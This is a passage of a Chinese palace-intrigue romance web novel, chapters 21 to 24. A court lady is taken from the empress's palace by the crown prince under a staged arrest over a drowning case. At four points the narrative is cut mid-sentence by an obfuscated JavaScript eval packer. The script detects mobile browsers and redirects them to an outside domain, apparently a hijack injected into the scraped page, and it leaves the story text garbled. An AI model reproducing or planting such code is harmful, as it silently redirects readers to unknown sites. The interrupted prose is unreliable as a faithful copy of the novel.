“回来取点东西。”傅羡好迎着光走出,眸中略着浅浅的笑容,“看你风尘仆仆的模样,又跑哪儿野去了。” 随着她的身影靠近,锦书这才看清她眸中的色彩,提到嗓子眼的心往下落了几寸,回眸扫了眼院落:“奴婢昨夜里听到野猫的叫声,吵得有点儿睡不着,想着今日将它们驱逐呢。” 傅羡好若有所思地颔首,问:“找到了吗?” “没有。”锦书抿唇摇了摇头,甚是无奈:“奴婢今日找了个把时辰,都没有找到它们的窝点。” “嗯。”傅羡好不疾不徐地越过她,掌心落在少女单薄的背脊上,没有规律可言地拍了两下,道:“宫中还有事需要我前去处理,你自个再好好找找吧。” 锦书福身应下。 视线凝向前方的刹那,傅羡好眸中的笑意霎时间敛去,余下阵阵薄雾,薄雾后是看不清的严寒。 走出瑶阁,一位小太监迎面小跑前来,只不过他时不时地回头看几眼,好似有人在身后追他似的。 傅羡好垂着头打理衣袖,身子相撞往一侧倾斜的刹那间,她抬手抵住石柱稳定身型,另一手将纸笺悄然递出。 不长眼冲撞了人的小太监跪在地上,紧紧地笼住掌心,额头抵着地面,整个人都在发抖。 锦书不知何时从里头冲出来的,“你是哪宫的人?怎么走路不看路的,不知道宫中不允许跑路吗?明日就是除夕夜,倘若— —” “我没事。”傅羡好拍了拍锦书的手,垂眸扫了眼微微颤抖的小太监,道:“想来你也是有要事在身,才失了礼数,走吧。” 小太监哆哆嗦嗦地站起身,鞠了好几个躬才跑开。 傅羡好眸光掠过稍显凌人的锦书,淡淡地道:“你今日怎么回事,火气这么大。” “奴婢— —”锦书身形微怔。 傅羡好抬手止住她的话语,侧眸深深地看了她一眼,意有所指地道:“窝点也不用找了,回去静静心吧。” 锦书牙齿轻颤,“是。” 离开得太久,傅羡好也无意在这儿消磨时间,加紧了脚下的步伐往长信宫走。 谁知才踏过宫门,就瞧见守在正殿两侧的余白和影诀二人,她眸光微怔,视线透过紧闭的窗棂看向泛着烛影的正殿,不动声色地走上前。 经过余白身侧时,听他低语道:“殿下奉皇上之命前来,询问郑翊一案。” 闻言,傅羡好眉梢扬起半分。 她目不斜视地上前叩了叩门扉,里头的谈话声倏然静下,紧随其后的是道道脚步声。 前来开门的是竹清,她看到傅羡好的身影时,紧绷的神思都松懈了下来,低声道:“快进来,你再不来我就要着人去寻你了。” 傅羡好拧着眉,借着关门的功夫目光扫过门口的两道身影,阖上门扉方才开口:“怎么回事?” 竹清呼了口气:“冲着公主殿下来的。” 傅羡好神情肃然,“怎么回事?” “死掉的面首一事。”竹清语速极快:“半刻钟前,太子前来询问郑翊一事,娘娘念及公主还在宫中,也一口咬死是那人失足落了水,不愿多说,谁知太子是带着今上的令牌前来,如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14495017|154179||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 今正僵持于内。” “公主已经离宫了。”傅羡好道。 竹清这才真正地松了口气,“我也是第一次见太子如此不近人情的模样,是真的怕他当场就将殿下抓走。” 傅羡好不语。 隔着颗颗斑斓琉璃相嵌而成的珠帘,她都能看清那道冷冽幽湛的视线,漫不经心地睨了她一眼,又收了回去,默不作声地把玩着手中的茶盏。 越靠近,就越能够感受到里间的压抑。 傅羡好拂开珠帘,福了福身:“娘娘。” 见她是独自一人回来的,皇后也歇了口气,对着萧瑾承道:“本宫不知太子的消息从何而来,不过就如本宫适才说的那般,年年都有人因雪天路滑栽入湖中沉底,怎的就成了谋杀案。” “今有人上书状告,孤奉命彻查此事。”萧瑾承视线掠过站在皇后宝座一侧垂眸不语的傅羡好,道:“是不是雪天路滑,孤自有判断,若郑翊是不慎身亡,孤也会给公主府还个清白。” 皇后耻笑了声,“进了德宗院,就算还了清白又能如何。” 听到德宗院,垂眸伫立的傅羡好眉梢凝起,稍稍掀起眼帘望向神色淡漠的萧瑾承,事发过于突然,一时间她也搞不明白他这葫芦里卖的是什么药。 德宗院独立于六部、六宫之外,掌管着皇家内部事务,皇家子弟们的训诫、关押、圈禁等事宜皆由德宗院负责,而德宗院为今上命令是从,萧瑾承能够驱动德宗院,足以证明他于今上心中的份量。 门扉再次被叩响时,伺候在另一侧的珮云的心也禁不住再次提起,视线直勾勾地看向外头,见来人是太子身边的影诀时,心暗不好。 果不其然,影诀不知低语了些什么,太子面上的神色愈发冷漠,正殿内的炭火烧得很足,却无端叫人觉得身处严寒之冬。 影诀退下。 萧瑾承落下手中把玩的茶盏,淡漠无波的眼眸看似温润无垠,却像利箭般射向高位上,道:“掖庭来信,宫人道公主一早就被传唤入宫,与娘娘起了争执,后来— —” 他的目光侧向静默不语的傅羡好,笑得淡薄,“是傅姑娘同公主一同离去。” 皇后眉心微蹙,循着他的视线看向身影挺拔,亭亭玉立的傅羡好,倏然就明白他想要做什么,思忖片刻,顺着他的话道:“她一直在本宫身边,对公主府的事情— —” “如此。”萧瑾承截断皇后的话语,像是没有听到她的话语,锐利的眸光凝向傅羡好,道:“就请傅姑娘随孤走一趟了。” 21.第 21 章 萧瑾承似有若无的目光掠过面色自若的女子,指节漫不经心地抬起。 顷刻之间,守于他身后的影诀上前。 皇后眉心紧紧地皱在一起,目光瞥向指尖宛若带着少许颤意的傅羡好,欲要开口安抚之际,余光瞥见太子有一搭没一搭地摩挲着今上的令牌,默然无声。 她清楚,太子既然持令牌前来,定不会高高拿起轻轻落下,现下只道是前来问安实则拿人,今上也是给足了她薄面,只为了敲打自己。 若真要下令彻查,公主府早已翻了天。 皇后收回目光,道:“那就请太子好好的查查,莫要得了他人挑拨,离了你与清歌的兄妹情谊。” 早已猜到此话的傅羡好微微抿唇,眸光一寸未移地越过影诀,看向神情淡薄无波的男子,心中升起了厚重的疑惑,同时紧随其后的,还有不知从何而起的荒谬。 她没有抗拒,敛眉对着皇后行礼,不紧不慢地踏下阶梯,朝着萧瑾承走去。 距离他不过三步之遥时,傅羡好停下了脚步,垂落的眼眸恰好对上那双看不清神思的幽洌眸子,她轻轻地笑了声。 清冷的笑声泛着入耳,萧瑾承摸索着令牌的指腹微乎其微地怔忪下,片刻过后又恢复如常。 他弯手收拢令牌,起身对静坐于高处的皇后颔首,道:“倘若此事与公主府无关,孤定会还皇妹清白,傅姑娘也会完好无损地回到长信宫。” 望着那道冷冽清隽的背影,分明与那夜的身影甚是相似,傅羡好心中却泛起了淡淡的陌生之意,好似再也看不懂眼前人。 她不紧不慢地跟上去,始终保持着五步之遥的距离。 宫内的宫女们揣揣不安地低着头,不明白正殿内出了何事,为何娘娘身边贴身伺候的傅姑娘会随着太子殿下离去,一时之间众人心绪乱飞,不过也不敢多言。 若皇后身边的人一个个被带走,那保不齐下一个就是自己。 众人似有似无的目光时不时地掠过傅羡好,不论是窥探也好,还是疑惑也罢,她全然接受,只当作不知情。 凝于眸底的身影忽而停住步伐,她跟着停下。 下一瞬,他转过身来,四目相对间,一人眸色清冷无边一人眸色泛着点点温润,如沐春风。 目光停留半分就越过她的身影,看向了跟着出来的皇后,道:“待福阳宫操持完宫宴后,傅姑娘便会回宫。”说着他嘴角扬起了几分,笑容却不及眸底,“还请娘娘耐心等待。” 宫院内垂首的宫女们闻言,陡然松了口气,露出恍然大悟的神色。 皇后知晓他为何会在大庭广众下如此言说,也算是给足了自己薄面,不然平白无故将身边人带走,不出半日谣言便会满天飞。 她嘴角扯出抹浅笑,“自然。” 傅羡好顶着众人的目光,转身拜别了皇后,方才随着萧瑾承离去。 踏过长信宫宫门,身后的视线倏然全部消散,就连四下的空气都明晰畅快不少。 可就算如此,傅羡好仍然觉得闷闷的,喘不过气来。 正殿内就跟随着她出来的闷劲儿不上不下的,噎在她的胸口处,只叫人呼吸困顿。 傅羡好目光如炬,凝着走在最前边的那道身影,要是目光如剑,萧瑾承此刻怕是伤痕累累。 跟在最后头的余白和影诀两人默不作声地对视,撇开,又对视几眼,再次撇开,欲言又止地看着走在前边的主子,也无法忽视傅姑娘四下弥漫着的不满。 傅羡好沉默不语地往前走,越过百花苑长街,眸光一寸一寸地扫视着四下的环境,最终落向宫门大开的丽臻宫。 倏然间,温热柔软的手心擒上男子的手腕。 扣紧。 不过轻轻一扯,就将萧瑾承拽进空无一人的丽臻宫中。 就好似,他一直在等待这一时刻。 跟在五步开外的余白和影诀两人瞬间凛神,对视了眼后兵分两路,守在丽臻宫的两个入口处。 丽臻宫内虽无人居住,却不至于四下萧条杂草丛生,就是要比其他的宫院安静上不少,也无人问津。 男子挺拔如松的背脊撞上高大的墙垣,溢出口的闷哼声掠过傅羡好的脖颈,白皙纤长的脖颈霎时间漫上道道粉嫩之色,在这阴暗的光影下异常得明亮动人。 那双平淡无波的眸子深了几分。 心思不在此的傅羡好并没有察觉到有任何的不妥,婉转眸光微微抬起,视线相撞。 她没有言语,就这么静静地凝视着男子。 拽在手心中的手腕微微动了半寸时,傅羡好瞪了他一眼,萧瑾承微微挑眉,停下了手中的动作。 “不问我为什么吗?” 最终,持久的静谧还是萧瑾承来打破。 说实话,要是真的可以,傅羡好是真的想甩手就走,根本不给他问出这句话的余地。 眼前这人分明就是拿准了自己的心思,摆明了知晓她已经搭上了这艘船,就不会轻易离开。 傅羡好眸光似有似无地凝着他须臾,微微扯起嘴角,露出淡淡的笑容:“殿下若是想解释,自然会解释。若是殿下不想说,我是问破了嗓子,也得不到我想要的答案。” 浅薄的笑意不及女子的眼底,神情看似在微笑,眸子是冷的。 就连话语,也是带着自嘲的意味,听得萧瑾承眉宇不自觉地蹙起,“你问,我自然会回答。” “我为何要问?”傅羡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她印象中的萧瑾承,是宫人口中恰似不怒自威的太子,是朝臣口中光风霁月的太子,于她心中,也多是稳操胜券的模样。 不管在何时,傅羡好都不曾听闻他言说过此话。 她只是想听到他开口解释而已,没有想过他会向自己道歉。 视线凝着萧瑾承那道清隽有致的脸庞,眸中的真挚几近将人拽入其中,再也脱不开身。 傅羡好抿了抿唇,着意无视弥漫四下的气氛,凝神静息少顷,敛下飘荡心口那股说不清道不明的情愫,正色道:“殿下为何要把事情引到我的身上。” 22.第 22 章 给皇后提议咬死郑翊是不慎落水身亡时起,傅羡好就不认为自己能够在这件事中独善其身。 更清楚地明白,若是遇到事情,首当其冲的只会是她。 恰如今日。 听到萧瑾承提及自己的刹那,皇后明显松了口气。 但是令傅羡好难以理解的是,今日骤然将话锋引向自己的,是萧瑾承。 那一瞬间,她是无措的。 叫她无端升起一股事情失控的无力感:“殿下应该很清楚,我不做没有把握的事情。” 萧瑾承将她那刹那的变化看在眼里,垂下的眼睫挡住幽湛凛冽的眸光,瞥见女子白皙手腕上的绯色,他抿唇松开手。 不过短短几句话的时间,手腕上就已经落下了印子。 冷风吹得他嗓子微微干涩,道:“张思邈邀请京中众寒门子弟今夜于张府小聚,提前庆贺除夕佳夜,你要不要同我走一趟。” 傅羡好微怔,须臾间就明白他为何着意将她带走。 “消息来得突然,只得出此下策。”萧瑾承喉结上下滚动,目光凝着她,不疾不徐地将计划告知:“郑翊一案如今由大理寺与京都府协同审理,你的身份无法交由德宗院处理,京都府那块儿不过是个幌子,你若是想去,稍后就会有人秘密送你出宫。” 明面上是送往京都府配合查案,实则已经找来与傅羡好身形相似的暗卫,伪装成她‘配合’京都府彻查郑翊一案。 傅羡好拧眉。 不管从何角度看,郑翊案与张思邈等人息息相关,郑翊的死本是布局中的一环,今上要求萧瑾承牵头彻查郑翊案,想来也是有人在他那儿言说了郑翊是公主府面首一事。 思及此,傅羡好眸中的辉光闪瞬即逝。 傅羡好惊诧地看向他,疑惑四起,又不敢断定,“你是想借此事,斩落萧澈的羽翼— —” 萧瑾承眉梢微挑,不语。 见状,傅羡好神色瞬时变了好几变,眼前闪过萧清歌惋惜的笑容,还有那道喃喃之声,齿尖轻轻地咬上下唇,问:“是因为我刚刚的话?” “不全是。”萧瑾承半敛下眸,“郑翊的死确实与她相关。” 傅羡好自是知道。 萧清歌说出那句话时,她就明白郑翊的死定然与其相关。 包括郑翊在内的寒门对于他的死因皆是心知肚明,与其说是自杀不如说是一场献祭,是寒门与世家间硝烟弥漫前夕的献祭。 “不过— —”萧瑾承嘴角微扬,噙着淡薄不及眸底的笑意,漫不经心的嗓音徐徐萦绕四下,“与其说是斩落羽翼,不如说是推她一把。” 闻言,傅羡好神色怔了下,深深地看了他一眼,视线越过男子颀长的身影望向远处的高墙,默不作声须时,她开口,回答了他最初的问题。“我去。” 宫舆宽轮碾过石砖咯吱咯吱的作响,静坐于内的傅羡好捧着汤婆子小心翼翼摩挲,手心被汤婆子熨得生热,仿佛身处暖炉之中。 舆外的寒风不知何时没了声,四下静得只剩下咯吱声,她的心却不似周遭环境这般安静,恰如凌空而落的惊雷,时而击向这处时而击向那处,宫舆越是靠近翎毓门,她的心跳就愈发得如擂鼓。 坐在宫舆主位的萧瑾承眸光掠过那道紧绷的侧颜,往下瞧些许,还能看到搭在汤婆子上的指尖,时不时地轻轻颤抖着,无一不在表露她的紧张。 顷刻之间,手心被抬起,搭上了男子腕部。 傅羡好还没有反应过来,掌心隔着玄色绣金氅衣都能清晰地感受到脉搏有力跃起的弧度,她的心神也渐渐平稳了下来。 “入京多年,有没有想去的地方。” 清冽的嗓音叫回了傅羡好繁杂的思绪,她双手紧握着汤婆子,在他深邃不可测的眸光注视下,摇了摇头。 “我对京中并不熟悉。” 入宫之前,她都是在姑苏。 后来被召入宫后,知晓往后七八载都会是笼中鸟的她掩耳盗铃般地拒绝一切来自宫外的消息,好像只要不看、不听、不闻就不会向往宫外的生活。 此时此刻,傅羡好是紧张的。 她下意识地侧眸看向萧瑾承,透过窗牖帐幔缝隙倾洒而来的光影掠过泛着潋滟的眸光,恰似夏日晚夜,满天繁星点缀于皎白月色四下,熠熠生光。 萧瑾承把玩着琉璃茶盏的动作微滞,生涩的喉结上下滚动,“不会只有这一次的。” 傅羡好愣了一刹那。 不等她开口,就听到他道:“相信我,这不会是你唯一的出宫机会。” 闻言,傅羡好心尖轻颤了下。 她清晰地感受到好似有什么东西在松动,可要道明是什么,她也不知道。 四目相对间,她侧开了视线。 舆中的气息好像被人抽干那般,叫她微微喘不过气来。 “主子,傅姑娘。” 好在这时候跟在外头的影诀忽而叩了叩宫舆,泠冽的空气也循着宫舆窗牖的震动伺机而入。 呼吸到新鲜气息的傅羡好松了口气,余光瞥了眼主位上的男子,神色似乎有那么一点点被打扰过后的不悦。 这股子不悦闪瞬即逝,顷刻之间就消散无踪。 萧瑾承薄唇微启,“说。” 听到主子的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14507643|154179||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 语气,影诀怔了一下,“还有百丈就到翎毓门了。” 萧瑾承淡淡地‘嗯’了声。 傅羡好指尖捏着帐幔一角,悄悄地掀开了下探眸望去,宫舆已经抵达了通往翎毓门的最后一条宫街上。见状,她收回手,回眸扫了眼摆在正对面多时的手铐和脚镣。 “殿下。”傅羡好双手手腕相抵,伸到萧瑾承眼前,也觉得有些许新鲜,笑道:“这儿没有别人,还要麻烦殿下帮我戴上。” 见他没有回话,她嘴角噙着笑,轻轻地晃了下手。 笑靥如花的神情好似这不是桎梏住她的刑具,而是什么新奇的手饰脚链,萧瑾承忍俊不禁地看着她,颇为无奈地探身取过手铐。 镣铐阖紧时响起的咔嗒声宛若刺耳的争鸣,傅羡好掂了掂手铐,特制的镣铐不似真正的镣铐那般沉重,不过框过他人眼绰绰有余,“分明说是临时起意,这副镣铐看上去可不像是临时起意的样子。” “依稀记得,端午前夕有人同我说,端午那日打算出宫一趟。”萧瑾承意味深长地笑了下,“深究起来,往你身上泼脏水顺势出宫的做法,好似也是那人向我建议的。” 傅羡好:“……” 她并没有忘记。 就是到了端午那日,她还是过不了心里的那关,最终还是没有出宫。 不过若要说那日最让她心神不宁的事情,莫过于寻不到时机将消息递给等着她的萧瑾承。直到入了夜,夜深人静之际她得了时机,方才赶往东宫。 他们合作之后,不曾落锁的偏门,第一次落了锁。 那时的傅羡好知道,一门之后的人就是萧瑾承,好说歹说半响。 见她眸色颤颤的模样,萧瑾承也想起了那夜的事情,嘴角扬起的弧度愈发的深邃。 在他俯身取镣铐时,傅羡好悄悄地吐了吐舌,萧瑾承回身的瞬间,她神情恢复如初,一副‘无言而又懊恼’的模样。 铁黑的镣铐摆在两人中间,久久都没有动作。 见状,傅羡好不明所以,稍稍歪了歪头:“嗯?” 萧瑾承无奈,眸光垂落几分,隔着裙摆锦缎看向她的脚踝。 刹那间,傅羡好就明白了过来,男子灼热的眸光好似要烧透厚重的锦缎,炙烫那道不堪一握的脚踝,烫得她下意识地往回缩了下脚。 后知后觉的羞涩悄然弥漫上耳垂,循着耳际荡漾至双颊,傅羡好接过镣铐,轻咳了声,道:“转头,别看我。” 听似凌厉的威胁,实则泛着数不清的羞涩,明媚的双眸微嗔,是她从未露出过的神色。 萧瑾承笑了下,侧过身,留给她道背影。 23.第 23 章 镣铐铁链叮叮当当相撞,撞散了宫舆内弥漫着氤氲。 傅羡好弯身拉了下裙摆的弧度,将将盖住桎梏着脚踝的镣铐,宫舆再次被敲响时,借着帐幔掀起的缝隙,影诀的话夹杂着寒风而入。 “傅姑娘,皇后娘娘身边的珮云正在宫门口等侯。” 傅羡好眼眸微掀,不冷不热地‘嗯’了声,并不觉得意外。 她这一身镣铐,等的就是皇后的人。 要是珮云没有过来,那才是意料之外。 朔风凛冽,恣意倾斜的细雨吹打而过,刺骨的寒钻过锦衣而入,跟着珮云前来的,还有竹清。 竹清撑着伞站在后头,见到宫舆前头随风摇曳的东宫烙牌,柳叶细眉微微蹙起,侧眸看了眼拎着包袱的珮云,她神色如常,好似没觉得有任何的不妥之处。 趁着宫舆还未到,她低语:“为何是由太子殿下的人送出宫?” “是由殿下亲自送出宫。”珮云目光自若地凝着那道不紧不慢驶来的宫舆,“此事涉及到公主,今上要求殿下亲自查案,自然不会假手于他人。” 她低头看了眼手中的包袱,叹了口气。 事发突然,谁都想不到傅羡好会被牵扯入其中,明日就是除夕夜,新岁降至,如今看来,这个新岁怕是不好过。 还有五丈之遥时,宫舆停下。 影诀走上前,拱了拱手,“珮云姑娘。” 珮云行了回礼,目光看向不远处的宫舆,道:“我替羡好收拾了些衣物,不知是否能够上前交给她?” 影诀伸出手,“姑娘交给属下即可。” 闻言,珮云迟疑了下,将手中的包袱递上前,眼看着影诀就要接过之时,宫舆中忽而响起铁链相撞的声响,声响不大,只是在此刻显得异常的清晰明亮。 珮云握着包袱的手心紧了紧,瞥了眼神色如常的影诀,还是选择送出包袱交给影诀。 这时候,伺候在另一侧的余白忽而上前,掀开了帐幔一角。 只见傅羡好探出身来,瞧见她们的身影时眸光倏然亮起,朝着她们小心翼翼地挥了挥手,“姐姐。” 她身影微动,欲要探身出来之际,利刃掠过刀鞘的刺耳凌锐声响划破天际,自内而出的剑锋掠过修长有致的脖颈,剑尖抵着宫舆一角。 凌厉剑锋微划之际,白皙的脖颈上倏然鲜红的血色,沁着血的伤痕一滴一滴地循着脖颈而坠。 突如其来的一幕吓坏了珮云和竹清两人,步伐都不由得往前走了几步,也就是短短的两步距离,就被影诀给拦下。 眼看着傅羡好神色僵在那儿,珮云微抬手示意竹清和自己一起往后退了几步,两人退到了适才等待的位置上。 竹清眼尖地瞧见掩藏于裙摆下的镣铐,悄悄抬手扯了扯珮云的袖摆,眸框掠过几许不安,悄声低语:“她又不是犯人,何至于此?” 珮云也瞧见了,无声地拍了拍她的手,微微摇头,示意不要多言。 不多时,剑锋收回,帐幔落下。 宫舆宽轮再次向前驶去。 舆内气压沉沉,一点一点地下压,若是突然有人闯入,定要喘不过气来慌忙退离。 适才抵着宫舆的剑身被随手扔在地上,傅羡好俯身捡起剑身,悄悄地睨了眼主位上的男子,呼吸都落轻了几分。 萧瑾承掌心圈着琉璃茶盏,垂落的目光与她湍湍不安的眸色相接,女子白皙的脖颈上烙上道红痕,凝结四下的血液恰如耀眼朱砂,闪烁其间。 他掌心无意识收紧,嗓音平静:“孤确实忘了,傅姑娘不怕死。” 萧瑾承越是如此,傅羡好就愈发地拿捏不准他的点,指腹摩挲着剑柄,试探道:“她们和我相识多年,心知我骨子里就是柔弱,定是不敢拿自己的性命来开玩笑,所以……” “可惜了,她们不认识你。”萧瑾承凝着她的眸,嘴角噙着清冷的笑,“不知道傅姑娘的性子和柔弱相比,南辕北辙,敢拿自己的性命来一场豪赌。” 傅羡好哑然。 嘴角一张一合须时,端起神色沉吟道:“是我没有提前告知殿下我的想法,今日事发突然谁都处在茫然之中,日后她们的疑心定然会升起,我只能这么做,也必须要这么做。” 萧瑾承止住扯过白净方帕的动作,看了她一眼,身子恣意靠着垫榻,微扬的下颌示意她继续言说。 傅羡好见状,也不知道该说些什么好。 若是可以,谁想铤而走险,谁不想事事无忧,既然踏上这条路,就注定了路途凶险,一朝踏错就是万丈深渊。 沉默良久,傅羡好取过桌案上的方帕,慢条斯理地擦拭着剑锋上的点点血渍,道:“我确实习惯于豪赌,我找上殿下,不就是最大的一场豪赌?” 茶雾水汽氤氲,恰似层单薄的薄雾覆在他们之间。 萧瑾承眸光深邃难测,平静湖波下暗流涌动,叫嚣欲要顷涌而出,看着她若有似无的举动,好似剑锋上沾上的血渍要比她颈上的印渍来得刺眼,淡声道:“你不信我。” 他们看似有根无形的丝线牵扯,实则这根看不见的丝线,好似也没有那么的牢固,“诚然今日一事事发突然,但到底是由我而起, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14517664|154179||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你应该知晓此事在我的掌握之中,可你还是觉得不安。” 恰如此时此刻。 傅羡好嘴角微启下意识地想要反驳,掀起的眼眸撞入那道视线的刹那,咽下了到嘴边的话语。 她不置可否。 与萧瑾承相识之前,傅羡好已经独自在这吃人的深宫之中生存了四年,若她还能如同初临尘世间的幼兔,早已经叫人吃干榨净,心性彻底地被抹平。 他们相识不过两年尔尔,怎能叫她全然信任于其。 谁都能将话说得漂漂亮亮的,无意识的行为才是实打实地表露心中所想,“我……” 只说了一个字,傅羡好又止住了声,倒影清澈眸底的身影由远即近,由大变小,不过一息,他们之间的距离只有拳头大小。 略显粗粝的指腹抵上颈间时,她的呼吸不由得落慢,抓着方帕的手不自觉地紧了紧,神色紧张地望着眼前的萧瑾承,不明白为什么上一瞬分明是在‘对峙’,这一刻就变得如此。 颈上的伤痕算不上深,也着实称不上浅,血痕已经凝固住,不再往外滲血,只余下点点血痕落在白皙肌肤上,异常得刺眼。 萧瑾承猜到她的意图之时收了下力道,但也抵不住她一心就是朝着剑锋而来的,倘若他当时没有反应过来,如今就不只是这条浅痕,怕是日后要落下疤痕。 灼热的呼吸落在颈处,灼得傅羡好都快要烧成炭炉中的炭火,她往后仰了仰身,拉开两人之间的距离,侧开视线:“我没事,只是小伤痕而已。” “嗯。”萧瑾承视线追过去,凝着皎白无暇的侧颜少顷,垂手接过她紧握着的剑柄,抽走。 男子掌心拢上剑柄时,半寸覆在了傅羡好冰凉的手背上,突如其来的灼烫气息叫她指尖不自觉地轻颤了下,不明所以地望着他。 面对着她稍显不解的神色,萧瑾承将剑身插回剑鞘之后,方才看向她,蕴含在眸底下的汹涌不知何时已经被平静覆盖,他道:“答应和你合作时,并未要求你必须要信任我。” 他不知从哪里取来干净的方帕,抛过去,“下次我行事之前会告知你,你有什么想法,也要提前告知我。” 话音落下,萧瑾承也没有给她回话的时间,眼帘微阖。 傅羡好拾起落在膝上的方帕,瞥了眼闭目养神的萧瑾承,又看了下桎梏着双手的镣铐,思忖半响,抬手戳了戳他的手臂。 叮当响的相撞声叫萧瑾承掀开眼眸,眼睫挡住了男子眸底潮涌的克制,只消一刹那就恢复了清明。 傅羡好眼眸微眨,问:“不帮我解开吗?” 24.第 24 章 累赘镣铐被扔在地上。 傅羡好转动着手腕,再抬起头时萧瑾承已经恢复适才的模样,紧抿的薄唇伴着呼吸的频率微微鼓起。 京都府离宫不远,也就五十里的距离。 眨眼的功夫,宫舆就已经停靠在京都府后门。 京都府兆尹宋漳早在接到消息时,就已经带着人等侯在门外,远远地瞧见宫舆上的印牌时,就带着信任的差使迎上前。 烟雨濛濛,人烟罕至。 策马跟随而来的余白先行到了门前,他翻身下马朝着宋漳拱了拱手,退到一侧等侯着宫舆的到来。 宫舆停稳,余白上前掀开帐幔。 宋漳侧眸示意差使止步,他随着余白的举止上前几步,伴着凛冽清风吹拂,高挑纤细的身影探身出舆,乌白色帷帽恰如扬风旗帜,浅薄的晚霞光影透过云层倾洒而至,光影晕在她的身后,落出道道光辉。 帷帽遮掩下,女子浅笑盼兮。 她盈盈行礼,“宋大人。” “傅姑娘有礼了。”宋漳拱手。 初听闻要入京都府的人是皇后身边的女官傅羡好时,宋漳愣在了原地,一时之间拿捏不准太子殿下的用意,不晓得是该高高拿起轻轻放下,将郑翊一事掩下,还是严刑逼供,毕竟她也是傅家之人,是否要借此机会挑起世家的争议。 直到太子身边的暗卫前来,他才渐渐明白过来,留在牢狱之中的人,不会是傅羡好。 明白这点之后宋漳却更加的困惑了,如果傅羡好出宫不是因为此事,那太子殿下又为何要将她带出宫,甚至还遣了贴身侍卫相送。 不等宋漳多想,就见太子探身而出,他眼眸微微瞪大,不可置信地迎了上去,这才瞧见踏着薄雾策马扬鞭前来的影诀,弯身行了道大礼,“臣见过殿下。” 剑鞘抵住宋漳的手臂,微微抬起,男子清冽的嗓音循着冷风习来,“安排的怎么样了。” “事情都已经安排妥当了。”宋漳起身,后退几步侧身让了道出来,“近段时间牢中把守的人都是臣亲近之人,若是有人前来打探,也会第一时间前来禀告。” 拎着裙摆拾级而上的傅羡好闻言,也才知晓自己不会住在狱中,侧眸睨了眼萧瑾承,问:“我住哪儿?” 已经安排好住处的宋漳欲要开口,走在他身侧的余白握拳抵唇轻咳了声,四目相对少顷,他阖上了嘴,当作什么都不知道。 萧瑾承目光落下,“看你。” 傅羡好不解:“嗯?” “宋大人替你安排了位于城南的惜云阁。”萧瑾承收敛眸光,步履抬起越过京都府门槛,“不过你若是想要提前入住城西,也不是不可以。” “惜云阁?”傅羡好更加困惑,城南人影憧憧,若是有人撞见了她出入其中,事情岂不是败露了,她微微侧身,隔着纱幔看向跟在后头的人,“那儿有宋大人的人在?” 宋漳闻言,眸中闪过一丝诧异。 他看向不远处的颀长背影,愈发摸不清这两人,言语间好似熟稔无比,可听起来好像又不是那么的相熟。 思来想去,见余白和影诀两人都没有出声提醒,宋漳道:“惜云阁内都是殿下的人,姑娘住在那儿确实是最佳之选。” 傅羡好眉梢挑起,浅笑了下,对着萧瑾承道:“那就住惜云阁吧。” “不提前感受一下城西的静谧?”萧瑾承停下脚步,循着被冷风扬起的帷帽,凝着那双眼眸打量她几眼,“不过明日就是除夕夜,城西也不会太静。” “不住。”傅羡好测算了下两地的距离,摇摇头:“京都府离城西太远了,来回也要半个时辰,要是出了什么事情,算不上多方便。” 她拢了拢随风飘动的帷帽纱巾,想起了另一件事,道:“我明日想见见六叔。” 明日就是除夕夜。 萧瑾承闻言,若有所思地抬手掀开眼前的帷帽,四目相对间他颔了颔首,“可以,我会着人将消息传到他耳中。” 他的指节抵着帷帽,深邃如炬的眼眸堪堪将傅羡好看穿,她微微抬手,指尖抵上男子节骨分明的指节,一点一点地推开。 帐幔纱巾垂落,萧瑾承嘴角微扬,侧眸看向神情怔愣的宋漳。 宋漳接收到太子的视线,被太子殿下自称弄得稍显怔忪的他回过神来,忙拱了拱手,“臣明日清早就走一趟傅大人家中。” 傅羡好与她的六叔着实算不上熟悉,也没有把握能够从他口中探寻到一二,不过明日就是除夕夜,就算是再不熟悉,听闻除夕团圆夜自家侄女被拘于牢狱之中,多少会心生些许恻隐之心。 牢狱位于京都府斜后方,距离官员办事的府衙约莫有千来步之遥,隔绝着牢狱与京都府院落的门扉比不得其他宽大门扉,要矮小上不少。 